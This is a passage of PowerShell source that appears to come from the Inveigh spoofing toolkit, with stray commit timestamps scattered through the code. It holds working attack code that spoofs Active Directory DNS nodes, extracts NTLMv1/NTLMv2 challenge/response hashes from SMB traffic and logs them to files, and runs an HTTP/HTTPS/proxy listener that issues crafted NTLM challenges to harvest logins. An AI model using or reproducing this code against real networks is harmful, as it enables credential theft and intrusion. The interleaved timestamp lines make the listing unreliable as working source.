param ( [ String ] $Name )
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
$character_array = $Name . ToCharArray ( )
[ Array ] $index_array = 0 . . ( $character_array . Count - 1 ) | Where-Object { $character_array [ $_ ] -eq '.' }
if ( $index_array . Count -gt 0 )
{
$name_start = 0
foreach ( $index in $index_array )
{
$name_end = $index - $name_start
[ Byte[] ] $name_array + = $name_end
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start , $name_end ) )
$name_start = $index + 1
}
[ Byte[] ] $name_array + = ( $Name . Length - $name_start )
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start ) )
}
else
{
[ Byte[] ] $name_array = $Name . Length
[ Byte[] ] $name_array + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Name . Substring ( $name_start ) )
}
return $name_array
}
switch ( $Type )
{
'A'
{
[ Byte[] ] $DNS_type = 0x01 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( ( $Data . Split ( " . " ) ) . Count ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data + = ( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $Data ) ) . GetAddressBytes ( )
}
'AAAA'
{
[ Byte[] ] $DNS_type = 0x1c , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( ( $Data -replace " : " , " " ) . Length / 2 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data + = ( [ System.Net.IPAddress][String ] ( [ System.Net.IPAddress ] $Data ) ) . GetAddressBytes ( )
}
'CNAME'
{
[ Byte[] ] $DNS_type = 0x05 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 4 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'DNAME'
{
[ Byte[] ] $DNS_type = 0x27 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 4 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'MX'
{
[ Byte[] ] $DNS_type = 0x0f , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 6 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = [ System.Bitconverter ] :: GetBytes ( $Preference ) [ 1 , 0 ]
$DNS_data + = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'NS'
{
[ Byte[] ] $DNS_type = 0x02 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 4 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'PTR'
{
[ Byte[] ] $DNS_type = 0x0c , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 4 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'SRV'
{
[ Byte[] ] $DNS_type = 0x21 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 10 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = [ System.Bitconverter ] :: GetBytes ( $Priority ) [ 1 , 0 ]
$DNS_data + = [ System.Bitconverter ] :: GetBytes ( $Weight ) [ 1 , 0 ]
$DNS_data + = [ System.Bitconverter ] :: GetBytes ( $Port ) [ 1 , 0 ]
$DNS_data + = $Data . Length + 2
$DNS_data + = ( $Data . Split ( " . " ) ) . Count
$DNS_data + = New-DNSNameArray $Data
$DNS_data + = 0x00
}
'TXT'
{
[ Byte[] ] $DNS_type = 0x10 , 0x00
[ Byte[] ] $DNS_length = ( [ System.BitConverter ] :: GetBytes ( $Data . Length + 1 ) ) [ 0 . .1 ]
[ Byte[] ] $DNS_data = $Data . Length
$DNS_data + = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $Data )
}
}
[ Byte[] ] $DNS_TTL = [ System.BitConverter ] :: GetBytes ( $TTL )
[ Byte[] ] $DNS_record = $DNS_length +
$DNS_type +
0x05 , 0xF0 , 0x00 , 0x00 +
$SOASerialNumberArray [ 0 . .3 ] +
$DNS_TTL [ 3 . .0 ] +
0x00 , 0x00 , 0x00 , 0x00
if ( $Static )
{
$DNS_record + = 0x00 , 0x00 , 0x00 , 0x00
}
else
{
$timestamp = [ Int64 ] ( ( [ Datetime ] :: UtcNow ) - ( Get-Date " 1/1/1601 " ) ) . TotalHours
$timestamp = [ System.BitConverter ] :: ToString ( [ System.BitConverter ] :: GetBytes ( $timestamp ) )
$timestamp = $timestamp . Split ( " - " ) | ForEach-Object { [ System.Convert ] :: ToInt16 ( $_ , 16 ) }
$timestamp = $timestamp [ 0 . .3 ]
$DNS_record + = $timestamp
}
$DNS_record + = $DNS_data
return , $DNS_record
}
function Invoke-ADIDNSSpoofer
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ String ] $Data ,
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $false ) ] [ String ] $Forest ,
[ parameter ( Mandatory = $true ) ] [ String ] $Node ,
[ parameter ( Mandatory = $false ) ] $Partition ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ Int ] $TTL ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
try
{
$node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone
if ( $inveigh . ADIDNS -and ! $node_added )
{
$node_tombstoned = Get-ADIDNSNodeTombstoned -Credential $Credential -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -Zone $Zone
if ( $node_tombstoned )
{
Enable-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone
}
}
}
catch
{
$error_message = $_ . Exception . Message
$error_message = $error_message -replace " `n " , " "
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $error_message $( $_ . InvocationInfo . Line . Trim ( ) ) " ) > $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] ADIDNS spoofer disabled due to error " ) > $null
$inveigh . ADIDNS = $null
}
}
function Invoke-ADIDNSCheck
{
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ Array ] $Ignore ,
[ parameter ( Mandatory = $false ) ] [ String ] $Data ,
[ parameter ( Mandatory = $false ) ] [ String ] $Domain ,
[ parameter ( Mandatory = $false ) ] [ String ] $DomainController ,
[ parameter ( Mandatory = $false ) ] [ String ] $Forest ,
[ parameter ( Mandatory = $false ) ] $Partition ,
[ parameter ( Mandatory = $false ) ] [ String ] $Zone ,
[ parameter ( Mandatory = $false ) ] [ Int ] $Threshold ,
[ parameter ( Mandatory = $false ) ] [ Int ] $TTL ,
[ parameter ( Mandatory = $false ) ] $RequestTable ,
[ parameter ( Mandatory = $false ) ] [ System.Management.Automation.PSCredential ] $Credential
)
Start-Sleep -S 1
foreach ( $request in $RequestTable . Keys )
{
if ( ( $RequestTable . $request | Sort-Object -Unique ) . Count -gt $Threshold )
{
if ( ! $inveigh . ADIDNS_table . ContainsKey ( $request ) )
{
$inveigh . ADIDNS_table . Add ( $request , " " )
}
if ( $Ignore -NotContains $request -and ! $inveigh . ADIDNS_table . $request )
{
Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $request -Partition $Partition -TTL $TTL -Zone $Zone
}
elseif ( $Ignore -Contains $request )
{
if ( ! $inveigh . ADIDNS_table . $request )
2019-01-20 20:27:28 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] ADIDNS combo attack ignored $request " ) > $null
$inveigh . ADIDNS_table . $request = 3
2019-01-20 20:27:28 +00:00
}
2019-01-21 09:49:07 +00:00
}
}
Start-Sleep -m 10
}
}
}
# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response
$SMB_NTLM_functions_scriptblock =
{
function Get-SMBConnection
{
param ( [ Byte[] ] $Payload , [ String ] $IP , [ String ] $SourceIP , [ String ] $SourcePort , [ String ] $Port )
$payload_converted = [ System.BitConverter ] :: ToString ( $Payload )
$payload_converted = $payload_converted -replace " - " , " "
$session = " $SourceIP ` : $SourcePort "
$SMB_index = $payload_converted . IndexOf ( " FF534D42 " )
if ( ! $inveigh . SMB_session_table . ContainsKey ( $Session ) -and $SMB_index -gt 0 -and $payload_converted . SubString ( ( $SMB_index + 8 ) , 2 ) -eq " 72 " -and ( $IP -ne $SourceIP ) )
{
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB( $Port ) negotiation request detected from $Session " ) > $null
}
if ( ! $inveigh . SMB_session_table . ContainsKey ( $Session ) -and $SMB_index -gt 0 )
{
$inveigh . SMB_session_table . Add ( $Session , " " )
}
$SMB_index = $payload_converted . IndexOf ( " FE534D42 " )
if ( ! $inveigh . SMB_session_table . ContainsKey ( $Session ) -and $SMB_index -gt 0 -and $payload_converted . SubString ( ( $SMB_index + 24 ) , 4 ) -eq " 0000 " -and ( $IP -ne $SourceIP ) )
{
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB( $Port ) negotiation request detected from $Session " ) > $null
}
if ( ! $inveigh . SMB_session_table . ContainsKey ( $Session ) -and $SMB_index -gt 0 )
{
$inveigh . SMB_session_table . Add ( $Session , " " )
}
}
function Get-SMBNTLMChallenge
{
param ( [ Byte[] ] $Payload )
$payload_converted = [ System.BitConverter ] :: ToString ( $Payload )
$payload_converted = $payload_converted -replace " - " , " "
$NTLM_index = $payload_converted . IndexOf ( " 4E544C4D53535000 " )
if ( $payload_converted . SubString ( ( $NTLM_index + 16 ) , 8 ) -eq " 02000000 " )
{
$NTLM_challenge = $payload_converted . SubString ( ( $NTLM_index + 48 ) , 16 )
}
$target_name_length = Get-UInt16DataLength ( ( $NTLM_index + 24 ) / 2 ) $Payload
$negotiate_flags = [ System.Convert ] :: ToInt16 ( ( $payload_converted . SubString ( ( $NTLM_index + 44 ) , 2 ) ) , 16 )
$negotiate_flags = [ Convert ] :: ToString ( $negotiate_flags , 2 )
$target_info_flag = $negotiate_flags . SubString ( 0 , 1 )
if ( $target_info_flag -eq 1 )
{
$target_info_index = ( $NTLM_index + 80 ) / 2
$target_info_index = $target_info_index + $target_name_length + 16
$target_info_item_type = $Payload [ $target_info_index ]
$i = 0
while ( $target_info_item_type -ne 0 -and $i -lt 10 )
{
$target_info_item_length = Get-UInt16DataLength ( $target_info_index + 2 ) $Payload
switch ( $target_info_item_type )
{
2
{
$netBIOS_domain_name = Convert-DataToString ( $target_info_index + 4 ) $target_info_item_length $Payload
}
3
{
$DNS_computer_name = Convert-DataToString ( $target_info_index + 4 ) $target_info_item_length $Payload
}
4
{
$DNS_domain_name = Convert-DataToString ( $target_info_index + 4 ) $target_info_item_length $Payload
}
}
$target_info_index = $target_info_index + $target_info_item_length + 4
$target_info_item_type = $Payload [ $target_info_index ]
$i + +
}
if ( $netBIOS_domain_name -and $DNS_domain_name -and ! $inveigh . domain_mapping_table . $netBIOS_domain_name -and $netBIOS_domain_name -ne $DNS_domain_name )
{
$inveigh . domain_mapping_table . Add ( $netBIOS_domain_name , $DNS_domain_name )
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name " ) > $null
}
for ( $i = 0 ; $i -lt $inveigh . enumerate . Count ; $i + + )
{
if ( $inveigh . enumerate [ $i ] . IP -eq $target -and ! $inveigh . enumerate [ $i ] . Hostname )
{
$inveigh . enumerate [ $i ] . Hostname = $DNS_computer_name
$inveigh . enumerate [ $i ] . " DNS Domain " = $DNS_domain_name
$inveigh . enumerate [ $i ] . " netBIOS Domain " = $netBIOS_domain_name
break
}
}
}
return $NTLM_challenge
}
function Get-SMBNTLMResponse
{
param ( [ Byte[] ] $Payload , [ String ] $Session )
$payload_converted = [ System.BitConverter ] :: ToString ( $Payload )
$payload_converted = $payload_converted -replace " - " , " "
$NTLMSSP_hex_offset = $payload_converted . IndexOf ( " 4E544C4D53535000 " )
if ( $NTLMSSP_hex_offset -gt 0 -and $payload_converted . SubString ( ( $NTLMSSP_hex_offset + 16 ) , 8 ) -eq " 03000000 " )
{
$NTLMSSP_offset = $NTLMSSP_hex_offset / 2
$LM_length = Get-UInt16DataLength ( $NTLMSSP_offset + 12 ) $Payload
$LM_offset = Get-UInt32DataLength ( $NTLMSSP_offset + 16 ) $Payload
$LM_response = [ System.BitConverter ] :: ToString ( $Payload [ ( $NTLMSSP_offset + $LM_offset ) . . ( $NTLMSSP_offset + $LM_offset + $LM_length - 1 ) ] ) -replace " - " , " "
$NTLM_length = Get-UInt16DataLength ( $NTLMSSP_offset + 20 ) $Payload
$NTLM_offset = Get-UInt32DataLength ( $NTLMSSP_offset + 24 ) $Payload
$NTLM_response = [ System.BitConverter ] :: ToString ( $Payload [ ( $NTLMSSP_offset + $NTLM_offset ) . . ( $NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1 ) ] ) -replace " - " , " "
$domain_length = Get-UInt16DataLength ( $NTLMSSP_offset + 28 ) $Payload
$domain_offset = Get-UInt32DataLength ( $NTLMSSP_offset + 32 ) $Payload
$NTLM_domain_string = Convert-DataToString ( $NTLMSSP_offset + $domain_offset ) $domain_length $Payload
$user_length = Get-UInt16DataLength ( $NTLMSSP_offset + 36 ) $Payload
$user_offset = Get-UInt32DataLength ( $NTLMSSP_offset + 40 ) $Payload
$NTLM_user_string = Convert-DataToString ( $NTLMSSP_offset + $user_offset ) $user_length $Payload
$host_length = Get-UInt16DataLength ( $NTLMSSP_offset + 44 ) $Payload
$host_offset = Get-UInt32DataLength ( $NTLMSSP_offset + 48 ) $Payload
$NTLM_host_string = Convert-DataToString ( $NTLMSSP_offset + $host_offset ) $host_length $Payload
$NTLM_challenge = $inveigh . SMB_session_table . $Session
if ( $NTLM_length -gt 24 )
{
$NTLMv2_response = $NTLM_response . Insert ( 32 , ':' )
$NTLMv2_hash = $NTLM_user_string + " :: " + $NTLM_domain_string + " : " + $NTLM_challenge + " : " + $NTLMv2_response
if ( $source_IP -ne $IP -and ( $inveigh . machine_accounts -or ( ! $inveigh . machine_accounts -and -not $NTLM_user_string . EndsWith ( '$' ) ) ) )
{
$inveigh . NTLMv2_list . Add ( $NTLMv2_hash ) > $null
2018-07-23 08:55:15 +00:00
if ( ! $inveigh . console_unique -or ( $inveigh . console_unique -and $inveigh . NTLMv2_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB NTLMv2 challenge/response captured from $source_IP ( $NTLM_host_string ): `n $NTLMv2_hash " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB NTLMv2 challenge/response captured from $source_IP ( $NTLM_host_string ): `n $NTLM_domain_string \ $NTLM_user_string [not unique] " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . file_output -and ( ! $inveigh . file_unique -or ( $inveigh . file_unique -and $inveigh . NTLMv2_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv2_file_queue . Add ( $NTLMv2_hash ) > $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] SMB NTLMv2 challenge/response written to " + $inveigh . NTLMv2_out_file ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . NTLMv2_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv2_username_list . Add ( " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string . EndsWith ( '$' ) -and ! $inveigh . spoofer_repeat -and $source_IP -ne $IP )
{
2019-01-21 09:49:07 +00:00
$inveigh . IP_capture_list . Add ( $source_IP . IPAddressToString ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
elseif ( $NTLM_length -eq 24 )
{
$NTLMv1_hash = $NTLM_user_string + " :: " + $NTLM_domain_string + " : " + $LM_response + " : " + $NTLM_response + " : " + $NTLM_challenge
2019-01-21 09:47:35 +00:00
if ( $source_IP -ne $IP -and ( $inveigh . machine_accounts -or ( ! $inveigh . machine_accounts -and -not $NTLM_user_string . EndsWith ( '$' ) ) ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv1_list . Add ( $NTLMv1_hash ) > $null
2018-07-23 08:55:15 +00:00
if ( ! $inveigh . console_unique -or ( $inveigh . console_unique -and $inveigh . NTLMv1_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB NTLMv1 challenge/response captured from $source_IP ( $NTLM_host_string ): `n $NTLMv1_hash " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] SMB NTLMv1 challenge/response captured from $source_IP ( $NTLM_host_string ): `n $NTLM_domain_string \ $NTLM_user_string [not unique] " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . file_output -and ( ! $inveigh . file_unique -or ( $inveigh . file_unique -and $inveigh . NTLMv1_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv1_file_queue . Add ( $NTLMv1_hash ) > $null
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] SMB NTLMv1 challenge/response written to " + $inveigh . NTLMv1_out_file ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . NTLMv1_username_list -notcontains " $source_IP $NTLM_domain_string \ $NTLM_user_string " )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv1_username_list . Add ( " $source_IP $NTLM_domain_string \ $NTLM_user_string " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string . EndsWith ( '$' ) -and ! $inveigh . spoofer_repeat -and $source_IP -ne $IP )
{
2019-01-21 09:49:07 +00:00
$inveigh . IP_capture_list . Add ( $source_IP . IPAddressToString ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
2019-01-21 09:49:07 +00:00
Invoke-SessionUpdate $NTLM_domain_string $NTLM_user_string $NTLM_host_string $source_IP
2018-07-23 08:55:15 +00:00
}
}
}
# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener
2019-01-21 09:49:07 +00:00
$HTTP_scriptblock =
{
param ( $Challenge , $HTTPAuth , $HTTPBasicRealm , $HTTPContentType , $HTTPIP , $HTTPPort , $HTTPDefaultEXE , $HTTPDefaultFile , $HTTPDir , $HTTPResponse ,
2018-07-23 08:55:15 +00:00
$HTTPS_listener , $NBNSBruteForcePause , $Proxy , $ProxyIgnore , $proxy_listener , $WPADAuth , $WPADAuthIgnore , $WPADResponse )
2019-01-21 09:49:07 +00:00
function Get-NTLMChallengeBase64
2018-07-23 08:55:15 +00:00
{
param ( [ String ] $Challenge , [ Bool ] $NTLMESS , [ String ] $ClientIPAddress , [ Int ] $ClientPort )
$HTTP_timestamp = Get-Date
$HTTP_timestamp = $HTTP_timestamp . ToFileTime ( )
$HTTP_timestamp = [ System.BitConverter ] :: ToString ( [ System.BitConverter ] :: GetBytes ( $HTTP_timestamp ) )
$HTTP_timestamp = $HTTP_timestamp . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
if ( $Challenge )
{
$HTTP_challenge = $Challenge
$HTTP_challenge_bytes = $HTTP_challenge . Insert ( 2 , '-' ) . Insert ( 5 , '-' ) . Insert ( 8 , '-' ) . Insert ( 11 , '-' ) . Insert ( 14 , '-' ) . Insert ( 17 , '-' ) . Insert ( 20 , '-' )
$HTTP_challenge_bytes = $HTTP_challenge_bytes . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
}
else
{
$HTTP_challenge_bytes = [ String ] ( 1 . .8 | ForEach-Object { " {0:X2} " -f ( Get-Random -Minimum 1 -Maximum 255 ) } )
$HTTP_challenge = $HTTP_challenge_bytes -replace ' ' , ''
$HTTP_challenge_bytes = $HTTP_challenge_bytes . Split ( " " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
}
if ( $NTLMESS )
{
$HTTP_NTLM_negotiation_flags = 0x05 , 0x82 , 0x89 , 0x0a
}
else
{
$HTTP_NTLM_negotiation_flags = 0x05 , 0x82 , 0x81 , 0x0a
}
2019-01-21 09:49:07 +00:00
$inveigh . HTTP_challenge_queue . Add ( $ClientIPAddress + $ClientPort + ',' + $HTTP_challenge ) > $null
$hostname_bytes = [ System.Text.Encoding ] :: Unicode . GetBytes ( $inveigh . computer_name )
$netBIOS_domain_bytes = [ System.Text.Encoding ] :: Unicode . GetBytes ( $inveigh . netBIOS_domain )
$DNS_domain_bytes = [ System.Text.Encoding ] :: Unicode . GetBytes ( $inveigh . DNS_domain )
$DNS_hostname_bytes = [ System.Text.Encoding ] :: Unicode . GetBytes ( $inveigh . DNS_computer_name )
$hostname_length = [ System.BitConverter ] :: GetBytes ( $hostname_bytes . Length ) [ 0 , 1 ]
$netBIOS_domain_length = [ System.BitConverter ] :: GetBytes ( $netBIOS_domain_bytes . Length ) [ 0 , 1 ]
$DNS_domain_length = [ System.BitConverter ] :: GetBytes ( $DNS_domain_bytes . Length ) [ 0 , 1 ]
$DNS_hostname_length = [ System.BitConverter ] :: GetBytes ( $DNS_hostname_bytes . Length ) [ 0 , 1 ]
$target_length = [ System.BitConverter ] :: GetBytes ( $hostname_bytes . Length + $netBIOS_domain_bytes . Length + $DNS_domain_bytes . Length + $DNS_domain_bytes . Length + $DNS_hostname_bytes . Length + 36 ) [ 0 , 1 ]
$target_offset = [ System.BitConverter ] :: GetBytes ( $netBIOS_domain_bytes . Length + 56 )
$HTTP_NTLM_bytes = 0x4e , 0x54 , 0x4c , 0x4d , 0x53 , 0x53 , 0x50 , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 +
$netBIOS_domain_length +
$netBIOS_domain_length +
0x38 , 0x00 , 0x00 , 0x00 +
2018-07-23 08:55:15 +00:00
$HTTP_NTLM_negotiation_flags +
$HTTP_challenge_bytes +
2019-01-21 09:49:07 +00:00
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 +
$target_length +
$target_length +
$target_offset +
0x06 , 0x01 , 0xb1 , 0x1d , 0x00 , 0x00 , 0x00 , 0x0f +
$netBIOS_domain_bytes +
0x02 , 0x00 +
$netBIOS_domain_length +
$netBIOS_domain_bytes +
0x01 , 0x00 +
$hostname_length +
$hostname_bytes +
0x04 , 0x00 +
$DNS_domain_length +
$DNS_domain_bytes +
0x03 , 0x00 +
$DNS_hostname_length +
$DNS_hostname_bytes +
0x05 , 0x00 +
$DNS_domain_length +
$DNS_domain_bytes +
0x07 , 0x00 , 0x08 , 0x00 +
2018-07-23 08:55:15 +00:00
$HTTP_timestamp +
0x00 , 0x00 , 0x00 , 0x00 , 0x0a , 0x0a
$NTLM_challenge_base64 = [ System.Convert ] :: ToBase64String ( $HTTP_NTLM_bytes )
$NTLM = " NTLM " + $NTLM_challenge_base64
return $NTLM
}
if ( $HTTPS_listener )
{
$HTTP_type = " HTTPS "
}
elseif ( $proxy_listener )
{
$HTTP_type = " Proxy "
}
else
{
$HTTP_type = " HTTP "
}
if ( $HTTPIP -ne '0.0.0.0' )
{
$HTTPIP = [ System.Net.IPAddress ] :: Parse ( $HTTPIP )
$HTTP_endpoint = New-Object System . Net . IPEndPoint ( $HTTPIP , $HTTPPort )
}
else
{
$HTTP_endpoint = New-Object System . Net . IPEndPoint ( [ System.Net.IPAddress ] :: any , $HTTPPort )
}
$HTTP_running = $true
$HTTP_listener = New-Object System . Net . Sockets . TcpListener $HTTP_endpoint
$HTTP_client_close = $true
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $proxy_listener )
{
$HTTP_linger = New-Object System . Net . Sockets . LingerOption ( $true , 0 )
$HTTP_listener . Server . LingerState = $HTTP_linger
}
try
{
$HTTP_listener . Start ( )
}
catch
{
$HTTP_running = $false
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] Error starting $HTTP_type listener " ) > $null
2018-07-23 08:55:15 +00:00
}
: HTTP_listener_loop while ( $inveigh . running -and $HTTP_running )
{
2019-01-21 09:49:07 +00:00
$TCP_request = $null
2018-07-23 08:55:15 +00:00
$TCP_request_bytes = New-Object System . Byte [ ] 4096
$HTTP_send = $true
2019-01-21 09:49:07 +00:00
$HTTP_header_content_type = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Type: text/html " )
$HTTP_header_cache_control = $null
$HTTP_header_authenticate = $null
$HTTP_header_authenticate_data = $null
$HTTP_message = ''
$HTTP_header_authorization = ''
$HTTP_header_host = $null
$HTTP_header_user_agent = $null
$HTTP_request_raw_URL = $null
2018-07-23 08:55:15 +00:00
$NTLM = " NTLM "
while ( ! $HTTP_listener . Pending ( ) -and ! $HTTP_client . Connected )
{
Start-Sleep -m 10
if ( ! $inveigh . running )
{
break HTTP_listener_loop
}
}
if ( $HTTPS_listener )
{
if ( ! $HTTP_client . Connected -or $HTTP_client_close -and $inveigh . running )
{
$HTTP_client = $HTTP_listener . AcceptTcpClient ( )
$HTTP_clear_stream = $HTTP_client . GetStream ( )
$HTTP_stream = New-Object System . Net . Security . SslStream ( $HTTP_clear_stream , $false )
$SSL_cert = ( Get-ChildItem Cert : \ LocalMachine \ My | Where-Object { $_ . Subject -match $inveigh . certificate_CN } )
$HTTP_stream . AuthenticateAsServer ( $SSL_cert , $false , [ System.Security.Authentication.SslProtocols ] :: Default , $false )
}
[ Byte[] ] $SSL_request_bytes = $null
do
{
$HTTP_request_byte_count = $HTTP_stream . Read ( $TCP_request_bytes , 0 , $TCP_request_bytes . Length )
$SSL_request_bytes + = $TCP_request_bytes [ 0 . . ( $HTTP_request_byte_count - 1 ) ]
} while ( $HTTP_clear_stream . DataAvailable )
$TCP_request = [ System.BitConverter ] :: ToString ( $SSL_request_bytes )
}
else
{
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( ! $HTTP_client . Connected -or $HTTP_client_close -and $inveigh . running )
{
$HTTP_client = $HTTP_listener . AcceptTcpClient ( )
$HTTP_stream = $HTTP_client . GetStream ( )
}
if ( $HTTP_stream . DataAvailable )
{
$HTTP_data_available = $true
}
else
{
$HTTP_data_available = $false
}
while ( $HTTP_stream . DataAvailable )
{
2019-01-21 09:49:07 +00:00
$HTTP_stream . Read ( $TCP_request_bytes , 0 , $TCP_request_bytes . Length ) > $null
2018-07-23 08:55:15 +00:00
}
$TCP_request = [ System.BitConverter ] :: ToString ( $TCP_request_bytes )
}
if ( $TCP_request -like " 47-45-54-20* " -or $TCP_request -like " 48-45-41-44-20* " -or $TCP_request -like " 4f-50-54-49-4f-4e-53-20* " -or $TCP_request -like " 43-4f-4e-4e-45-43-54* " -or $TCP_request -like " 50-4f-53-54* " )
{
$HTTP_raw_URL = $TCP_request . Substring ( $TCP_request . IndexOf ( " -20- " ) + 4 , $TCP_request . Substring ( $TCP_request . IndexOf ( " -20- " ) + 1 ) . IndexOf ( " -20- " ) - 3 )
$HTTP_raw_URL = $HTTP_raw_URL . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$HTTP_request_raw_URL = New-Object System . String ( $HTTP_raw_URL , 0 , $HTTP_raw_URL . Length )
$HTTP_source_IP = $HTTP_client . Client . RemoteEndpoint . Address . IPAddressToString
2019-01-21 09:49:07 +00:00
$HTTP_connection_header_close = $true
2018-07-23 08:55:15 +00:00
if ( $NBNSBruteForcePause )
{
$inveigh . NBNS_stopwatch = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
$inveigh . hostname_spoof = $true
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $TCP_request -like " *-48-6F-73-74-3A-20-* " )
{
$HTTP_header_host_extract = $TCP_request . Substring ( $TCP_request . IndexOf ( " -48-6F-73-74-3A-20- " ) + 19 )
